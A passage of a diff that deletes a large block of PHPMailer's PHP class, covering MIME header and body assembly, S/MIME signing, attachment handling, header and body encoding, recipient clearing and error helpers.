$this->headerLine('X-Priority', $this->Priority); - } - if ($this->XMailer == '') { - $result .= $this->headerLine( - 'X-Mailer', - 'PHPMailer ' . $this->Version . ' (https://github.com/PHPMailer/PHPMailer)' - ); - } else { - $myXmailer = trim($this->XMailer); - if ($myXmailer) { - $result .= $this->headerLine('X-Mailer', $myXmailer); - } - } - - if ($this->ConfirmReadingTo != '') { - $result .= $this->headerLine('Disposition-Notification-To', '<' . $this->ConfirmReadingTo . '>'); - } - - // Add custom headers - foreach ($this->CustomHeader as $header) { - $result .= $this->headerLine( - trim($header[0]), - $this->encodeHeader(trim($header[1])) - ); - } - if (!$this->sign_key_file) { - $result .= $this->headerLine('MIME-Version', '1.0'); - $result .= $this->getMailMIME(); - } - - return $result; - } - - /** - * Get the message MIME type headers. - * @access public - * @return string - */ - public function getMailMIME() - { - $result = ''; - $ismultipart = true; - switch ($this->message_type) { - case 'inline': - $result .= $this->headerLine('Content-Type', 'multipart/related;'); - $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"'); - break; - case 'attach': - case 'inline_attach': - case 'alt_attach': - case 'alt_inline_attach': - $result .= $this->headerLine('Content-Type', 'multipart/mixed;'); - $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"'); - break; - case 'alt': - case 'alt_inline': - $result .= $this->headerLine('Content-Type', 'multipart/alternative;'); - $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"'); - break; - default: - // Catches case 'plain': and case '': - $result .= $this->textLine('Content-Type: ' . $this->ContentType . '; charset=' . $this->CharSet); - $ismultipart = false; - break; - } - // RFC1341 part 5 says 7bit is assumed if not specified - if ($this->Encoding != '7bit') { - // RFC 2045 section 6.4 says multipart MIME parts may only use 7bit, 8bit or binary CTE - if ($ismultipart) { - if ($this->Encoding == '8bit') { - $result .= $this->headerLine('Content-Transfer-Encoding', '8bit'); - } - // The only remaining alternatives are quoted-printable and base64, which are both 7bit compatible - } else { - $result .= $this->headerLine('Content-Transfer-Encoding', $this->Encoding); - } - } - - if ($this->Mailer != 'mail') { - $result .= $this->LE; - } - - return $result; - } - - /** - * Returns the whole MIME message. - * Includes complete headers and body. - * Only valid post preSend(). - * @see PHPMailer::preSend() - * @access public - * @return string - */ - public function getSentMIMEMessage() - { - return rtrim($this->MIMEHeader . $this->mailHeader, "\n\r") . self::CRLF . self::CRLF . $this->MIMEBody; - } - - /** - * Assemble the message body. - * Returns an empty string on failure. - * @access public - * @throws phpmailerException - * @return string The assembled message body - */ - public function createBody() - { - $body = ''; - //Create unique IDs and preset boundaries - $this->uniqueid = md5(uniqid(time())); - $this->boundary[1] = 'b1_' . $this->uniqueid; - $this->boundary[2] = 'b2_' . $this->uniqueid; - $this->boundary[3] = 'b3_' . $this->uniqueid; - - if ($this->sign_key_file) { - $body .= $this->getMailMIME() . $this->LE; - } - - $this->setWordWrap(); - - $bodyEncoding = $this->Encoding; - $bodyCharSet = $this->CharSet; - //Can we do a 7-bit downgrade? - if ($bodyEncoding == '8bit' and !$this->has8bitChars($this->Body)) { - $bodyEncoding = '7bit'; - //All ISO 8859, Windows codepage and UTF-8 charsets are ascii compatible up to 7-bit - $bodyCharSet = 'us-ascii'; - } - //If lines are too long, and we're not already using an encoding that will shorten them, - //change to quoted-printable transfer encoding for the body part only - if ('base64' != $this->Encoding and self::hasLineLongerThanMax($this->Body)) { - $bodyEncoding = 'quoted-printable'; - } - - $altBodyEncoding = $this->Encoding; - $altBodyCharSet = $this->CharSet; - //Can we do a 7-bit downgrade? - if ($altBodyEncoding == '8bit' and !$this->has8bitChars($this->AltBody)) { - $altBodyEncoding = '7bit'; - //All ISO 8859, Windows codepage and UTF-8 charsets are ascii compatible up to 7-bit - $altBodyCharSet = 'us-ascii'; - } - //If lines are too long, and we're not already using an encoding that will shorten them, - //change to quoted-printable transfer encoding for the alt body part only - if ('base64' != $altBodyEncoding and self::hasLineLongerThanMax($this->AltBody)) { - $altBodyEncoding = 'quoted-printable'; - } - //Use this as a preamble in all multipart message types - $mimepre = "This is a multi-part message in MIME format." . $this->LE . $this->LE; - switch ($this->message_type) { - case 'inline': - $body .= $mimepre; - $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding); - $body .= $this->encodeString($this->Body, $bodyEncoding); - $body .= $this->LE . $this->LE; - $body .= $this->attachAll('inline', $this->boundary[1]); - break; - case 'attach': - $body .= $mimepre; - $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding); - $body .= $this->encodeString($this->Body, $bodyEncoding); - $body .= $this->LE . $this->LE; - $body .= $this->attachAll('attachment', $this->boundary[1]); - break; - case 'inline_attach': - $body .= $mimepre; - $body .= $this->textLine('--' . $this->boundary[1]); - $body .= $this->headerLine('Content-Type', 'multipart/related;'); - $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"'); - $body .= $this->LE; - $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, '', $bodyEncoding); - $body .= $this->encodeString($this->Body, $bodyEncoding); - $body .= $this->LE . $this->LE; - $body .= $this->attachAll('inline', $this->boundary[2]); - $body .= $this->LE; - $body .= $this->attachAll('attachment', $this->boundary[1]); - break; - case 'alt': - $body .= $mimepre; - $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding); - $body .= $this->encodeString($this->AltBody, $altBodyEncoding); - $body .= $this->LE . $this->LE; - $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, 'text/html', $bodyEncoding); - $body .= $this->encodeString($this->Body, $bodyEncoding); - $body .= $this->LE . $this->LE; - if (!empty($this->Ical)) { - $body .= $this->getBoundary($this->boundary[1], '', 'text/calendar; method=REQUEST', ''); - $body .= $this->encodeString($this->Ical, $this->Encoding); - $body .= $this->LE . $this->LE; - } - $body .= $this->endBoundary($this->boundary[1]); - break; - case 'alt_inline': - $body .= $mimepre; - $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding); - $body .= $this->encodeString($this->AltBody, $altBodyEncoding); - $body .= $this->LE . $this->LE; - $body .= $this->textLine('--' . $this->boundary[1]); - $body .= $this->headerLine('Content-Type', 'multipart/related;'); - $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"'); - $body .= $this->LE; - $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding); - $body .= $this->encodeString($this->Body, $bodyEncoding); - $body .= $this->LE . $this->LE; - $body .= $this->attachAll('inline', $this->boundary[2]); - $body .= $this->LE; - $body .= $this->endBoundary($this->boundary[1]); - break; - case 'alt_attach': - $body .= $mimepre; - $body .= $this->textLine('--' . $this->boundary[1]); - $body .= $this->headerLine('Content-Type', 'multipart/alternative;'); - $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"'); - $body .= $this->LE; - $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding); - $body .= $this->encodeString($this->AltBody, $altBodyEncoding); - $body .= $this->LE . $this->LE; - $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding); - $body .= $this->encodeString($this->Body, $bodyEncoding); - $body .= $this->LE . $this->LE; - $body .= $this->endBoundary($this->boundary[2]); - $body .= $this->LE; - $body .= $this->attachAll('attachment', $this->boundary[1]); - break; - case 'alt_inline_attach': - $body .= $mimepre; - $body .= $this->textLine('--' . $this->boundary[1]); - $body .= $this->headerLine('Content-Type', 'multipart/alternative;'); - $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"'); - $body .= $this->LE; - $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding); - $body .= $this->encodeString($this->AltBody, $altBodyEncoding); - $body .= $this->LE . $this->LE; - $body .= $this->textLine('--' . $this->boundary[2]); - $body .= $this->headerLine('Content-Type', 'multipart/related;'); - $body .= $this->textLine("\tboundary=\"" . $this->boundary[3] . '"'); - $body .= $this->LE; - $body .= $this->getBoundary($this->boundary[3], $bodyCharSet, 'text/html', $bodyEncoding); - $body .= $this->encodeString($this->Body, $bodyEncoding); - $body .= $this->LE . $this->LE; - $body .= $this->attachAll('inline', $this->boundary[3]); - $body .= $this->LE; - $body .= $this->endBoundary($this->boundary[2]); - $body .= $this->LE; - $body .= $this->attachAll('attachment', $this->boundary[1]); - break; - default: - // Catch case 'plain' and case '', applies to simple `text/plain` and `text/html` body content types - //Reset the `Encoding` property in case we changed it for line length reasons - $this->Encoding = $bodyEncoding; - $body .= $this->encodeString($this->Body, $this->Encoding); - break; - } - - if ($this->isError()) { - $body = ''; - } elseif ($this->sign_key_file) { - try { - if (!defined('PKCS7_TEXT')) { - throw new phpmailerException($this->lang('extension_missing') . 'openssl'); - } - // @TODO would be nice to use php://temp streams here, but need to wrap for PHP < 5.1 - $file = tempnam(sys_get_temp_dir(), 'mail'); - if (false === file_put_contents($file, $body)) { - throw new phpmailerException($this->lang('signing') . ' Could not write temp file'); - } - $signed = tempnam(sys_get_temp_dir(), 'signed'); - //Workaround for PHP bug https://bugs.php.net/bug.php?id=69197 - if (empty($this->sign_extracerts_file)) { - $sign = @openssl_pkcs7_sign( - $file, - $signed, - 'file://' . realpath($this->sign_cert_file), - array('file://' . realpath($this->sign_key_file), $this->sign_key_pass), - null - ); - } else { - $sign = @openssl_pkcs7_sign( - $file, - $signed, - 'file://' . realpath($this->sign_cert_file), - array('file://' . realpath($this->sign_key_file), $this->sign_key_pass), - null, - PKCS7_DETACHED, - $this->sign_extracerts_file - ); - } - if ($sign) { - @unlink($file); - $body = file_get_contents($signed); - @unlink($signed); - //The message returned by openssl contains both headers and body, so need to split them up - $parts = explode("\n\n", $body, 2); - $this->MIMEHeader .= $parts[0] . $this->LE . $this->LE; - $body = $parts[1]; - } else { - @unlink($file); - @unlink($signed); - throw new phpmailerException($this->lang('signing') . openssl_error_string()); - } - } catch (phpmailerException $exc) { - $body = ''; - if ($this->exceptions) { - throw $exc; - } - } - } - return $body; - } - - /** - * Return the start of a message boundary. - * @access protected - * @param string $boundary - * @param string $charSet - * @param string $contentType - * @param string $encoding - * @return string - */ - protected function getBoundary($boundary, $charSet, $contentType, $encoding) - { - $result = ''; - if ($charSet == '') { - $charSet = $this->CharSet; - } - if ($contentType == '') { - $contentType = $this->ContentType; - } - if ($encoding == '') { - $encoding = $this->Encoding; - } - $result .= $this->textLine('--' . $boundary); - $result .= sprintf('Content-Type: %s; charset=%s', $contentType, $charSet); - $result .= $this->LE; - // RFC1341 part 5 says 7bit is assumed if not specified - if ($encoding != '7bit') { - $result .= $this->headerLine('Content-Transfer-Encoding', $encoding); - } - $result .= $this->LE; - - return $result; - } - - /** - * Return the end of a message boundary. - * @access protected - * @param string $boundary - * @return string - */ - protected function endBoundary($boundary) - { - return $this->LE . '--' . $boundary . '--' . $this->LE; - } - - /** - * Set the message type. - * PHPMailer only supports some preset message types, not arbitrary MIME structures. - * @access protected - * @return void - */ - protected function setMessageType() - { - $type = array(); - if ($this->alternativeExists()) { - $type[] = 'alt'; - } - if ($this->inlineImageExists()) { - $type[] = 'inline'; - } - if ($this->attachmentExists()) { - $type[] = 'attach'; - } - $this->message_type = implode('_', $type); - if ($this->message_type == '') { - //The 'plain' message_type refers to the message having a single body element, not that it is plain-text - $this->message_type = 'plain'; - } - } - - /** - * Format a header line. - * @access public - * @param string $name - * @param string $value - * @return string - */ - public function headerLine($name, $value) - { - return $name . ': ' . $value . $this->LE; - } - - /** - * Return a formatted mail line. - * @access public - * @param string $value - * @return string - */ - public function textLine($value) - { - return $value . $this->LE; - } - - /** - * Add an attachment from a path on the filesystem. - * Returns false if the file could not be found or read. - * @param string $path Path to the attachment. - * @param string $name Overrides the attachment name. - * @param string $encoding File encoding (see $Encoding). - * @param string $type File extension (MIME) type. - * @param string $disposition Disposition to use - * @throws phpmailerException - * @return boolean - */ - public function addAttachment($path, $name = '', $encoding = 'base64', $type = '', $disposition = 'attachment') - { - try { - if (!@is_file($path)) { - throw new phpmailerException($this->lang('file_access') . $path, self::STOP_CONTINUE); - } - - // If a MIME type is not specified, try to work it out from the file name - if ($type == '') { - $type = self::filenameToType($path); - } - - $filename = basename($path); - if ($name == '') { - $name = $filename; - } - - $this->attachment[] = array( - 0 => $path, - 1 => $filename, - 2 => $name, - 3 => $encoding, - 4 => $type, - 5 => false, // isStringAttachment - 6 => $disposition, - 7 => 0 - ); - - } catch (phpmailerException $exc) { - $this->setError($exc->getMessage()); - $this->edebug($exc->getMessage()); - if ($this->exceptions) { - throw $exc; - } - return false; - } - return true; - } - - /** - * Return the array of attachments. - * @return array - */ - public function getAttachments() - { - return $this->attachment; - } - - /** - * Attach all file, string, and binary attachments to the message. - * Returns an empty string on failure. - * @access protected - * @param string $disposition_type - * @param string $boundary - * @return string - */ - protected function attachAll($disposition_type, $boundary) - { - // Return text of body - $mime = array(); - $cidUniq = array(); - $incl = array(); - - // Add all attachments - foreach ($this->attachment as $attachment) { - // Check if it is a valid disposition_filter - if ($attachment[6] == $disposition_type) { - // Check for string attachment - $string = ''; - $path = ''; - $bString = $attachment[5]; - if ($bString) { - $string = $attachment[0]; - } else { - $path = $attachment[0]; - } - - $inclhash = md5(serialize($attachment)); - if (in_array($inclhash, $incl)) { - continue; - } - $incl[] = $inclhash; - $name = $attachment[2]; - $encoding = $attachment[3]; - $type = $attachment[4]; - $disposition = $attachment[6]; - $cid = $attachment[7]; - if ($disposition == 'inline' && array_key_exists($cid, $cidUniq)) { - continue; - } - $cidUniq[$cid] = true; - - $mime[] = sprintf('--%s%s', $boundary, $this->LE); - //Only include a filename property if we have one - if (!empty($name)) { - $mime[] = sprintf( - 'Content-Type: %s; name="%s"%s', - $type, - $this->encodeHeader($this->secureHeader($name)), - $this->LE - ); - } else { - $mime[] = sprintf( - 'Content-Type: %s%s', - $type, - $this->LE - ); - } - // RFC1341 part 5 says 7bit is assumed if not specified - if ($encoding != '7bit') { - $mime[] = sprintf('Content-Transfer-Encoding: %s%s', $encoding, $this->LE); - } - - if ($disposition == 'inline') { - $mime[] = sprintf('Content-ID: <%s>%s', $cid, $this->LE); - } - - // If a filename contains any of these chars, it should be quoted, - // but not otherwise: RFC2183 & RFC2045 5.1 - // Fixes a warning in IETF's msglint MIME checker - // Allow for bypassing the Content-Disposition header totally - if (!(empty($disposition))) { - $encoded_name = $this->encodeHeader($this->secureHeader($name)); - if (preg_match('/[ \(\)<>@,;:\\"\/\[\]\?=]/', $encoded_name)) { - $mime[] = sprintf( - 'Content-Disposition: %s; filename="%s"%s', - $disposition, - $encoded_name, - $this->LE . $this->LE - ); - } else { - if (!empty($encoded_name)) { - $mime[] = sprintf( - 'Content-Disposition: %s; filename=%s%s', - $disposition, - $encoded_name, - $this->LE . $this->LE - ); - } else { - $mime[] = sprintf( - 'Content-Disposition: %s%s', - $disposition, - $this->LE . $this->LE - ); - } - } - } else { - $mime[] = $this->LE; - } - - // Encode as string attachment - if ($bString) { - $mime[] = $this->encodeString($string, $encoding); - if ($this->isError()) { - return ''; - } - $mime[] = $this->LE . $this->LE; - } else { - $mime[] = $this->encodeFile($path, $encoding); - if ($this->isError()) { - return ''; - } - $mime[] = $this->LE . $this->LE; - } - } - } - - $mime[] = sprintf('--%s--%s', $boundary, $this->LE); - - return implode('', $mime); - } - - /** - * Encode a file attachment in requested format. - * Returns an empty string on failure. - * @param string $path The full path to the file - * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable' - * @throws phpmailerException - * @access protected - * @return string - */ - protected function encodeFile($path, $encoding = 'base64') - { - try { - if (!is_readable($path)) { - throw new phpmailerException($this->lang('file_open') . $path, self::STOP_CONTINUE); - } - $magic_quotes = get_magic_quotes_runtime(); - if ($magic_quotes) { - if (version_compare(PHP_VERSION, '5.3.0', '<')) { - set_magic_quotes_runtime(false); - } else { - //Doesn't exist in PHP 5.4, but we don't need to check because - //get_magic_quotes_runtime always returns false in 5.4+ - //so it will never get here - ini_set('magic_quotes_runtime', false); - } - } - $file_buffer = file_get_contents($path); - $file_buffer = $this->encodeString($file_buffer, $encoding); - if ($magic_quotes) { - if (version_compare(PHP_VERSION, '5.3.0', '<')) { - set_magic_quotes_runtime($magic_quotes); - } else { - ini_set('magic_quotes_runtime', $magic_quotes); - } - } - return $file_buffer; - } catch (Exception $exc) { - $this->setError($exc->getMessage()); - return ''; - } - } - - /** - * Encode a string in requested format. - * Returns an empty string on failure. - * @param string $str The text to encode - * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable' - * @access public - * @return string - */ - public function encodeString($str, $encoding = 'base64') - { - $encoded = ''; - switch (strtolower($encoding)) { - case 'base64': - $encoded = chunk_split(base64_encode($str), 76, $this->LE); - break; - case '7bit': - case '8bit': - $encoded = $this->fixEOL($str); - // Make sure it ends with a line break - if (substr($encoded, -(strlen($this->LE))) != $this->LE) { - $encoded .= $this->LE; - } - break; - case 'binary': - $encoded = $str; - break; - case 'quoted-printable': - $encoded = $this->encodeQP($str); - break; - default: - $this->setError($this->lang('encoding') . $encoding); - break; - } - return $encoded; - } - - /** - * Encode a header string optimally. - * Picks shortest of Q, B, quoted-printable or none. - * @access public - * @param string $str - * @param string $position - * @return string - */ - public function encodeHeader($str, $position = 'text') - { - $matchcount = 0; - switch (strtolower($position)) { - case 'phrase': - if (!preg_match('/[\200-\377]/', $str)) { - // Can't use addslashes as we don't know the value of magic_quotes_sybase - $encoded = addcslashes($str, "\0..\37\177\\\""); - if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) { - return ($encoded); - } else { - return ("\"$encoded\""); - } - } - $matchcount = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches); - break; - /** @noinspection PhpMissingBreakStatementInspection */ - case 'comment': - $matchcount = preg_match_all('/[()"]/', $str, $matches); - // Intentional fall-through - case 'text': - default: - $matchcount += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches); - break; - } - - //There are no chars that need encoding - if ($matchcount == 0) { - return ($str); - } - - $maxlen = 75 - 7 - strlen($this->CharSet); - // Try to select the encoding which should produce the shortest output - if ($matchcount > strlen($str) / 3) { - // More than a third of the content will need encoding, so B encoding will be most efficient - $encoding = 'B'; - if (function_exists('mb_strlen') && $this->hasMultiBytes($str)) { - // Use a custom function which correctly encodes and wraps long - // multibyte strings without breaking lines within a character - $encoded = $this->base64EncodeWrapMB($str, "\n"); - } else { - $encoded = base64_encode($str); - $maxlen -= $maxlen % 4; - $encoded = trim(chunk_split($encoded, $maxlen, "\n")); - } - } else { - $encoding = 'Q'; - $encoded = $this->encodeQ($str, $position); - $encoded = $this->wrapText($encoded, $maxlen, true); - $encoded = str_replace('=' . self::CRLF, "\n", trim($encoded)); - } - - $encoded = preg_replace('/^(.*)$/m', ' =?' . $this->CharSet . "?$encoding?\\1?=", $encoded); - $encoded = trim(str_replace("\n", $this->LE, $encoded)); - - return $encoded; - } - - /** - * Check if a string contains multi-byte characters. - * @access public - * @param string $str multi-byte text to wrap encode - * @return boolean - */ - public function hasMultiBytes($str) - { - if (function_exists('mb_strlen')) { - return (strlen($str) > mb_strlen($str, $this->CharSet)); - } else { // Assume no multibytes (we can't handle without mbstring functions anyway) - return false; - } - } - - /** - * Does a string contain any 8-bit chars (in any charset)? - * @param string $text - * @return boolean - */ - public function has8bitChars($text) - { - return (boolean)preg_match('/[\x80-\xFF]/', $text); - } - - /** - * Encode and wrap long multibyte strings for mail headers - * without breaking lines within a character. - * Adapted from a function by paravoid - * @link http://www.php.net/manual/en/function.mb-encode-mimeheader.php#60283 - * @access public - * @param string $str multi-byte text to wrap encode - * @param string $linebreak string to use as linefeed/end-of-line - * @return string - */ - public function base64EncodeWrapMB($str, $linebreak = null) - { - $start = '=?' . $this->CharSet . '?B?'; - $end = '?='; - $encoded = ''; - if ($linebreak === null) { - $linebreak = $this->LE; - } - - $mb_length = mb_strlen($str, $this->CharSet); - // Each line must have length <= 75, including $start and $end - $length = 75 - strlen($start) - strlen($end); - // Average multi-byte ratio - $ratio = $mb_length / strlen($str); - // Base64 has a 4:3 ratio - $avgLength = floor($length * $ratio * .75); - - for ($i = 0; $i < $mb_length; $i += $offset) { - $lookBack = 0; - do { - $offset = $avgLength - $lookBack; - $chunk = mb_substr($str, $i, $offset, $this->CharSet); - $chunk = base64_encode($chunk); - $lookBack++; - } while (strlen($chunk) > $length); - $encoded .= $chunk . $linebreak; - } - - // Chomp the last linefeed - $encoded = substr($encoded, 0, -strlen($linebreak)); - return $encoded; - } - - /** - * Encode a string in quoted-printable format. - * According to RFC2045 section 6.7. - * @access public - * @param string $string The text to encode - * @param integer $line_max Number of chars allowed on a line before wrapping - * @return string - * @link http://www.php.net/manual/en/function.quoted-printable-decode.php#89417 Adapted from this comment - */ - public function encodeQP($string, $line_max = 76) - { - // Use native function if it's available (>= PHP5.3) - if (function_exists('quoted_printable_encode')) { - return quoted_printable_encode($string); - } - // Fall back to a pure PHP implementation - $string = str_replace( - array('%20', '%0D%0A.', '%0D%0A', '%'), - array(' ', "\r\n=2E", "\r\n", '='), - rawurlencode($string) - ); - return preg_replace('/[^\r\n]{' . ($line_max - 3) . '}[^=\r\n]{2}/', "$0=\r\n", $string); - } - - /** - * Backward compatibility wrapper for an old QP encoding function that was removed. - * @see PHPMailer::encodeQP() - * @access public - * @param string $string - * @param integer $line_max - * @param boolean $space_conv - * @return string - * @deprecated Use encodeQP instead. - */ - public function encodeQPphp( - $string, - $line_max = 76, - /** @noinspection PhpUnusedParameterInspection */ $space_conv = false - ) { - return $this->encodeQP($string, $line_max); - } - - /** - * Encode a string using Q encoding. - * @link http://tools.ietf.org/html/rfc2047 - * @param string $str the text to encode - * @param string $position Where the text is going to be used, see the RFC for what that means - * @access public - * @return string - */ - public function encodeQ($str, $position = 'text') - { - // There should not be any EOL in the string - $pattern = ''; - $encoded = str_replace(array("\r", "\n"), '', $str); - switch (strtolower($position)) { - case 'phrase': - // RFC 2047 section 5.3 - $pattern = '^A-Za-z0-9!*+\/ -'; - break; - /** @noinspection PhpMissingBreakStatementInspection */ - case 'comment': - // RFC 2047 section 5.2 - $pattern = '\(\)"'; - // intentional fall-through - // for this reason we build the $pattern without including delimiters and [] - case 'text': - default: - // RFC 2047 section 5.1 - // Replace every high ascii, control, =, ? and _ characters - $pattern = '\000-\011\013\014\016-\037\075\077\137\177-\377' . $pattern; - break; - } - $matches = array(); - if (preg_match_all("/[{$pattern}]/", $encoded, $matches)) { - // If the string contains an '=', make sure it's the first thing we replace - // so as to avoid double-encoding - $eqkey = array_search('=', $matches[0]); - if (false !== $eqkey) { - unset($matches[0][$eqkey]); - array_unshift($matches[0], '='); - } - foreach (array_unique($matches[0]) as $char) { - $encoded = str_replace($char, '=' . sprintf('%02X', ord($char)), $encoded); - } - } - // Replace every spaces to _ (more readable than =20) - return str_replace(' ', '_', $encoded); - } - - /** - * Add a string or binary attachment (non-filesystem). - * This method can be used to attach ascii or binary data, - * such as a BLOB record from a database. - * @param string $string String attachment data. - * @param string $filename Name of the attachment. - * @param string $encoding File encoding (see $Encoding). - * @param string $type File extension (MIME) type. - * @param string $disposition Disposition to use - * @return void - */ - public function addStringAttachment( - $string, - $filename, - $encoding = 'base64', - $type = '', - $disposition = 'attachment' - ) { - // If a MIME type is not specified, try to work it out from the file name - if ($type == '') { - $type = self::filenameToType($filename); - } - // Append to $attachment array - $this->attachment[] = array( - 0 => $string, - 1 => $filename, - 2 => basename($filename), - 3 => $encoding, - 4 => $type, - 5 => true, // isStringAttachment - 6 => $disposition, - 7 => 0 - ); - } - - /** - * Add an embedded (inline) attachment from a file. - * This can include images, sounds, and just about any other document type. - * These differ from 'regular' attachments in that they are intended to be - * displayed inline with the message, not just attached for download. - * This is used in HTML messages that embed the images - * the HTML refers to using the $cid value. - * @param string $path Path to the attachment. - * @param string $cid Content ID of the attachment; Use this to reference - * the content when using an embedded image in HTML. - * @param string $name Overrides the attachment name. - * @param string $encoding File encoding (see $Encoding). - * @param string $type File MIME type. - * @param string $disposition Disposition to use - * @return boolean True on successfully adding an attachment - */ - public function addEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = '', $disposition = 'inline') - { - if (!@is_file($path)) { - $this->setError($this->lang('file_access') . $path); - return false; - } - - // If a MIME type is not specified, try to work it out from the file name - if ($type == '') { - $type = self::filenameToType($path); - } - - $filename = basename($path); - if ($name == '') { - $name = $filename; - } - - // Append to $attachment array - $this->attachment[] = array( - 0 => $path, - 1 => $filename, - 2 => $name, - 3 => $encoding, - 4 => $type, - 5 => false, // isStringAttachment - 6 => $disposition, - 7 => $cid - ); - return true; - } - - /** - * Add an embedded stringified attachment. - * This can include images, sounds, and just about any other document type. - * Be sure to set the $type to an image type for images: - * JPEG images use 'image/jpeg', GIF uses 'image/gif', PNG uses 'image/png'. - * @param string $string The attachment binary data. - * @param string $cid Content ID of the attachment; Use this to reference - * the content when using an embedded image in HTML. - * @param string $name - * @param string $encoding File encoding (see $Encoding). - * @param string $type MIME type. - * @param string $disposition Disposition to use - * @return boolean True on successfully adding an attachment - */ - public function addStringEmbeddedImage( - $string, - $cid, - $name = '', - $encoding = 'base64', - $type = '', - $disposition = 'inline' - ) { - // If a MIME type is not specified, try to work it out from the name - if ($type == '' and !empty($name)) { - $type = self::filenameToType($name); - } - - // Append to $attachment array - $this->attachment[] = array( - 0 => $string, - 1 => $name, - 2 => $name, - 3 => $encoding, - 4 => $type, - 5 => true, // isStringAttachment - 6 => $disposition, - 7 => $cid - ); - return true; - } - - /** - * Check if an inline attachment is present. - * @access public - * @return boolean - */ - public function inlineImageExists() - { - foreach ($this->attachment as $attachment) { - if ($attachment[6] == 'inline') { - return true; - } - } - return false; - } - - /** - * Check if an attachment (non-inline) is present. - * @return boolean - */ - public function attachmentExists() - { - foreach ($this->attachment as $attachment) { - if ($attachment[6] == 'attachment') { - return true; - } - } - return false; - } - - /** - * Check if this message has an alternative body set. - * @return boolean - */ - public function alternativeExists() - { - return !empty($this->AltBody); - } - - /** - * Clear queued addresses of given kind. - * @access protected - * @param string $kind 'to', 'cc', or 'bcc' - * @return void - */ - public function clearQueuedAddresses($kind) - { - $RecipientsQueue = $this->RecipientsQueue; - foreach ($RecipientsQueue as $address => $params) { - if ($params[0] == $kind) { - unset($this->RecipientsQueue[$address]); - } - } - } - - /** - * Clear all To recipients. - * @return void - */ - public function clearAddresses() - { - foreach ($this->to as $to) { - unset($this->all_recipients[strtolower($to[0])]); - } - $this->to = array(); - $this->clearQueuedAddresses('to'); - } - - /** - * Clear all CC recipients. - * @return void - */ - public function clearCCs() - { - foreach ($this->cc as $cc) { - unset($this->all_recipients[strtolower($cc[0])]); - } - $this->cc = array(); - $this->clearQueuedAddresses('cc'); - } - - /** - * Clear all BCC recipients. - * @return void - */ - public function clearBCCs() - { - foreach ($this->bcc as $bcc) { - unset($this->all_recipients[strtolower($bcc[0])]); - } - $this->bcc = array(); - $this->clearQueuedAddresses('bcc'); - } - - /** - * Clear all ReplyTo recipients. - * @return void - */ - public function clearReplyTos() - { - $this->ReplyTo = array(); - $this->ReplyToQueue = array(); - } - - /** - * Clear all recipient types. - * @return void - */ - public function clearAllRecipients() - { - $this->to = array(); - $this->cc = array(); - $this->bcc = array(); - $this->all_recipients = array(); - $this->RecipientsQueue = array(); - } - - /** - * Clear all filesystem, string, and binary attachments. - * @return void - */ - public function clearAttachments() - { - $this->attachment = array(); - } - - /** - * Clear all custom headers. - * @return void - */ - public function clearCustomHeaders() - { - $this->CustomHeader = array(); - } - - /** - * Add an error message to the error container. - * @access protected - * @param string $msg - * @return void - */ - protected function setError($msg) - { - $this->error_count++; - if ($this->Mailer == 'smtp' and !is_null($this->smtp)) { - $lasterror = $this->smtp->getError(); - if (!empty($lasterror['error'])) { - $msg .= $this->lang('smtp_error') . $lasterror['error']; - if (!empty($lasterror['detail'])) { - $msg .= ' Detail: '. $lasterror['detail']; - } - if (!empty($lasterror['smtp_code'])) { - $msg .= ' SMTP code: ' . $lasterror['smtp_code']; - } - if (!empty($lasterror['smtp_code_ex'])) { - $msg .= ' Additional SMTP info: ' . $lasterror['smtp_code_ex']; - } - } - } - $this->ErrorInfo = $msg; - } - - /** - * Return an RFC 822 formatted date. - * @access public - * @return string - * @static - */ - public static function rfcDate() - { - // Set the time zone to whatever the default is to avoid 500 errors - // Will default to UTC if it's not set properly in php.ini - date_default_timezone_set(@date_default_timezone_get()); - return date('D, j M Y H:i:s O'); - } - - /** - * Get the server hostname. - * Returns 'localhost.localdomain' if unknown. - * @access protected - * @return string - */ - protected function serverHostname() - { - $result = 'localhost.localdomain'; - if (!empty($this->Hostname)) { - $result = $this->Hostname; - } elseif (isset($_SERVER) and array_key_exists('SERVER_NAME', $_SERVER) and !empty($_SERVER['SERVER_NAME'])) { - $result = $_SERVER['SERVER_NAME']; - } elseif (function_exists('gethostname') && gethostname() !== false) { - $result = gethostname(); - } elseif (php_uname('n') !== false) { - $result = php_uname('n'); - } - return $result; - } - - /** - * Get an error message in the current language. - * @access protected - * @param string $key - * @return string - */ - protected function lang($key) - { - if (count($this->language) < 1) { - $this->setLanguage('en'); // set the default language - } - - if (array_key_exists($key, $this->language)) { - if ($key == 'smtp_connect_failed') { - //Include a link to troubleshooting docs on SMTP connection failure - //this is by far the biggest cause of support questions - //but it's usually not PHPMailer's fault. - return $this->language[$key] . ' https://github.com/PHPMailer/PHPMailer/wiki/Troubleshooting'; - } - return $this->language[$key]; - } else { - //Return the key as a fallback - return $key; - } - } - - /** - * Check if an error occurred. - * @access public - * @return boolean True if an error did occur. - */ - public function isError() - { - return ($this->error_count > 0); - } - - /** - * Ensure consistent line endings in a 